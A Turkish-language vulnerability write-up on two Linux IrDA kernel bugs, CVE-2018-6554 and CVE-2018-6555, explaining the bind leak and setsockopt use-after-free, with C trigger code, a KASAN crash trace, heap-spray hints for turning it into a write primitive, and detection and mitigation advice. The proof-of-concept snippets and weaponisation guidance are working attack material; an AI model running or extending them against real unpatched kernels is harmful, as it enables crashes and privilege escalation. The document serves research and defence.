IRDA use-after-free (CVE-2018-6554)¶
irda_setsockopt(IRLMP_IAS_SET)üzerinden IrDA IAS hashbin'ine yeniden eklenen birias_objectdangling bir queue entry'sine dönüşür; bu da birbind()reference leak'iyle (CVE-2018-6554) eşleşen bir use-after-free (CVE-2018-6555) verir.
Mechanism¶
Neden çalışır
IrDA bir Information Access Service (IAS) veritabanı sunar — her biri
irda_queue_t q link'leri (q_next / q_prev) taşıyan struct ias_object
entry'lerinden oluşan bir hashbin_t. Bir AF_IRDA socket'i self->ias_obj
üzerinden en fazla bir tane böyle object'e sahiptir.
İki invariant kırılır:
-
irda_bind()leak'i (CVE-2018-6554): socket'i bind etmek taze birias_objectallocate eder ve öncekini free/dequeue etmedenself->ias_obj'i overwrite eder. Bu yüzden yeniden bind etmek, ilk object hâlâ globalirias_objectshashbin'inde linkli kalırken onun reference'ını leak eder — sınırsız bellek tüketimi ve socket'in artık izlemediği bir reference. -
irda_setsockopt(IRLMP_IAS_SET)UAF'ı (CVE-2018-6555): option handler, object'in zaten queue'da olup olmadığını kontrol etmedenirias_insert_object()üzerindenirias_objects'e bir object ekler. Aynı object'i yeniden eklemek hashbin'i bozar ve socket kapatılıp object free edildikten sonra, free edilmiş birias_object'i hâlâ queue'da linkli bırakır. Sonraki hashbin traversal/insertion, eskiq_next/q_prevpointer'ları üzerinden dereference eder ve yazar — SLAB-kontrol edilebilir bir object üzerinde klasik bir UAF.
ias_object sabit boyutlu bir kmalloc allocation'ı olduğundan, attacker free
edilmiş slot'u kontrollü data ile spray'leyebilir ve kernel bir queue insertion
yaptığında dangling q_next/q_prev'i bir write primitive'ine çevirir
(unlink/enqueue path'inde mov QWORD PTR [rdx], rbx-tarzı store).
Walkthrough¶
IrDA stack'i CONFIG_IRDA ile gate'lenir (mainline net/irda/, sonra
drivers/staging/irda/net/af_irda.c'ye taşındı). v4.17'de kaldırıldı ama birçok
distro/LTS kernel'ında (4.4 / 4.9 / 4.14) kaldı.
Leak'i tetikle (CVE-2018-6554) — aynı socket'i defalarca bind et:
#include <sys/socket.h>
#include <linux/irda.h> /* AF_IRDA, struct sockaddr_irda */
int s = socket(AF_IRDA, SOCK_STREAM, 0);
struct sockaddr_irda addr = {0};
addr.sir_family = AF_IRDA;
strncpy(addr.sir_name, "LEAK", sizeof(addr.sir_name));
for (int i = 0; i < 100000; i++)
bind(s, (struct sockaddr *)&addr, sizeof(addr));
/* each bind() allocates a new ias_object, orphaning the previous one
inside the global irias_objects hashbin -> kernel memory grows */
UAF'ı tetikle (CVE-2018-6555) — bind edilmiş object'i IAS_SET option'u üzerinden yeniden ekle, sonra onu free et:
#include <linux/irda.h>
struct irda_ias_set ias = {0};
ias.irda_class_name[0] = '\0'; /* empty class -> reuse self->ias_obj */
ias.irda_attrib_name[0] = 'A';
ias.irda_attrib_type = IAS_INTEGER;
ias.attribute.irda_attrib_int = 0x41414141;
/* re-insert the same ias_object into irias_objects (no "already queued" check) */
setsockopt(s, SOL_IRLMP, IRLMP_IAS_SET, &ias, sizeof(ias));
close(s); /* frees ias_object while it is still linked -> dangling queue node */
Beklenen crash imzası (KASAN, spray öncesi)
BUG: KASAN: use-after-free in hashbin_insert+0x.../0x...
Write of size 8 at addr ffff8880........ by task poc/....
hashbin_insert
irias_insert_object
irda_setsockopt
__sys_setsockopt
Freed by task poc:
kfree
__irias_delete_object
irda_destroy_socket
irda_release
ias_object'e eski bir q_next/q_prev üzerinden ulaşılır;
dangling hashbin node'unu doğrular.
Silah haline getirmek için, free edilmiş slot aynı kmalloc boyutunda kontrollü bir
object ile (örneğin msg_msg,
setxattr veya başka bir spray) reclaim edilir ki
bir sonraki hashbin enqueue attacker'ın seçtiği pointer'ları yazsın — benzer bir
spray/reclaim UAF için n_gsm TTY UAF'a da
bak.
Warning
Bu yetkilendirilmiş-araştırma / CTF tekniğidir. RIP kontrolüne giden güvenilir yol heap state'ine bağlıdır; naif PoC'ler genellikle yalnızca crash eder. Write primitive'ini anlık sonuç değil, hedef olarak ele al.
Detection¶
- IrDA modası geçmiştir; production sistemlerde attack surface var olmamalı.
AF_IRDA(family 23) socket'leri açan herhangi bir process üzerine alarm ver — meşru bir modern kullanıcı yok. - Module-load denetimi: bir non-IrDA host'ta
irda/af_irda'nın yüklenmesi (request_module("net-pf-23")üzerinden autoload) şüphelidir. - Fuzzing/test fleet'lerinde KASAN/SLUB_DEBUG/
slub_debug=FZP, UAF'ı ve büyüyenias_objectleak'ini yakalar.
Mitigation¶
- Attack surface'i kaldır:
irdamodülünü blacklist'e al ve/veyaCONFIG_IRDA=nset et. Upstream IrDA'yı v4.17'de tamamen sildi. - Eksik "zaten queue'da" validation'ını ekleyen ve bind leak'ini fix eden stable backport'ları uygula (Ubuntu/Debian/Mageia 4.4/4.9/4.14 ağaçları için fix yayınladı).
- Belirsiz adres ailelerini seccomp /
setsockcreateconile kısıtla ki güvenilmeyen process'lersocket(AF_IRDA, ...)'ya ulaşamasın.